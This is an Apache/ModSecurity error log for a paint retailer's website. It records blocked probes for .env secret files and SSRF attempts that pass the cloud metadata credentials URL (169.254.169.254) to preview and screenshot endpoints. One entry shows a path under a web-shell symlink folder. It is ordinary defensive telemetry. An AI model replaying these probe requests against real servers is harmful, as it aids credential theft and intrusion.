[Mon Oct 26 00:22:00.063158 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7VaASn5HKIYfqg0eAlGgAAADc"]
[Mon Oct 26 00:22:00.063425 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7VaASn5HKIYfqg0eAlGgAAADc"]
[Mon Oct 26 00:22:00.063738 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7VaASn5HKIYfqg0eAlGgAAADc"]
[Mon Oct 26 00:22:00.066314 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VaNL67pOsP-7URAtCQQAAABo"]
[Mon Oct 26 00:22:00.066786 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VaNL67pOsP-7URAtCQQAAABo"]
[Mon Oct 26 00:22:00.067021 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/preview"] [unique_id "at7VaNL67pOsP-7URAtCQQAAABo"]
[Mon Oct 26 00:22:00.112788 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7VaG-vOSxyH8uS5IpnZQAAAA0"]
[Mon Oct 26 00:22:00.112978 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7VaG-vOSxyH8uS5IpnZQAAAA0"]
[Mon Oct 26 00:22:00.113234 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7VaG-vOSxyH8uS5IpnZQAAAA0"]
[Mon Oct 26 00:22:00.300629 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQgAAABo"]
[Mon Oct 26 00:22:00.301168 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQgAAABo"]
[Mon Oct 26 00:22:00.301578 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQgAAABo"]
[Mon Oct 26 00:22:00.457832 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at7VaG-vOSxyH8uS5IpnZgAAAA0"]
[Mon Oct 26 00:22:00.458055 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at7VaG-vOSxyH8uS5IpnZgAAAA0"]
[Mon Oct 26 00:22:00.458445 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at7VaG-vOSxyH8uS5IpnZgAAAA0"]
[Mon Oct 26 00:22:00.544245 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at7VaASn5HKIYfqg0eAlGwAAADc"]
[Mon Oct 26 00:22:00.544404 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at7VaASn5HKIYfqg0eAlGwAAADc"]
[Mon Oct 26 00:22:00.544673 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "at7VaASn5HKIYfqg0eAlGwAAADc"]
[Mon Oct 26 00:22:00.584309 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQwAAABo"]
[Mon Oct 26 00:22:00.584804 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQwAAABo"]
[Mon Oct 26 00:22:00.585045 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/preview"] [unique_id "at7VaNL67pOsP-7URAtCQwAAABo"]
[Mon Oct 26 00:22:00.639150 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at7VaG-vOSxyH8uS5IpnZwAAAA0"]
[Mon Oct 26 00:22:00.639396 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at7VaG-vOSxyH8uS5IpnZwAAAA0"]
[Mon Oct 26 00:22:00.639686 2026] [security2:error] [pid 2961884:tid 2961884] [client 93.123.109.101:52844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at7VaG-vOSxyH8uS5IpnZwAAAA0"]
[Mon Oct 26 00:22:00.731520 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.aws.local"] [unique_id "at7VaASn5HKIYfqg0eAlHAAAADc"]
[Mon Oct 26 00:22:00.731765 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.aws.local"] [unique_id "at7VaASn5HKIYfqg0eAlHAAAADc"]
[Mon Oct 26 00:22:00.732098 2026] [security2:error] [pid 2943087:tid 2943087] [client 93.123.109.101:52900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.aws.local"] [unique_id "at7VaASn5HKIYfqg0eAlHAAAADc"]
[Mon Oct 26 00:22:00.767865 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VaNL67pOsP-7URAtCRAAAABo"]
[Mon Oct 26 00:22:00.768303 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VaNL67pOsP-7URAtCRAAAABo"]
[Mon Oct 26 00:22:00.768564 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VaNL67pOsP-7URAtCRAAAABo"]
[Mon Oct 26 00:22:01.030870 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VadL67pOsP-7URAtCRQAAABo"]
[Mon Oct 26 00:22:01.031308 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VadL67pOsP-7URAtCRQAAABo"]
[Mon Oct 26 00:22:01.031557 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/screenshot"] [unique_id "at7VadL67pOsP-7URAtCRQAAABo"]
[Mon Oct 26 00:22:01.828071 2026] [security2:error] [pid 2961885:tid 2961885] [client 93.123.109.101:52836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.ai"] [unique_id "at7VaWtKZtB8YTx13j37nAAAABE"]
[Mon Oct 26 00:22:01.828239 2026] [security2:error] [pid 2961885:tid 2961885] [client 93.123.109.101:52836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.ai"] [unique_id "at7VaWtKZtB8YTx13j37nAAAABE"]
[Mon Oct 26 00:22:01.828520 2026] [security2:error] [pid 2961885:tid 2961885] [client 93.123.109.101:52836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.ai"] [unique_id "at7VaWtKZtB8YTx13j37nAAAABE"]
[Mon Oct 26 00:22:03.178712 2026] [ssl:error] [pid 2961915:tid 2961915] (70014)End of file found: [client 54.88.84.219:63199] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:06.323869 2026] [ssl:error] [pid 2961903:tid 2961903] (70014)End of file found: [client 184.73.239.35:47635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:18.128578 2026] [ssl:error] [pid 2961898:tid 2961898] (70014)End of file found: [client 23.20.178.124:41664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:23.509866 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 185.191.171.11:61794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/object_size
[Mon Oct 26 00:22:26.142175 2026] [ssl:error] [pid 2961899:tid 2961899] (70014)End of file found: [client 35.171.141.42:58761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:42.156237 2026] [ssl:error] [pid 2961886:tid 2961886] (70014)End of file found: [client 18.214.138.148:2661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:46.123153 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 35.169.102.85:4095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:22:54.143426 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 34.194.226.74:60885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:23:14.313225 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 98.83.72.38:39915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:23:30.132128 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 50.19.79.213:17301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:23:42.155327 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 98.84.200.43:34663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:23:50.135670 2026] [ssl:error] [pid 2961631:tid 2961631] (70014)End of file found: [client 54.235.191.179:1151] AH02013: coalesce failed to read from data bucket
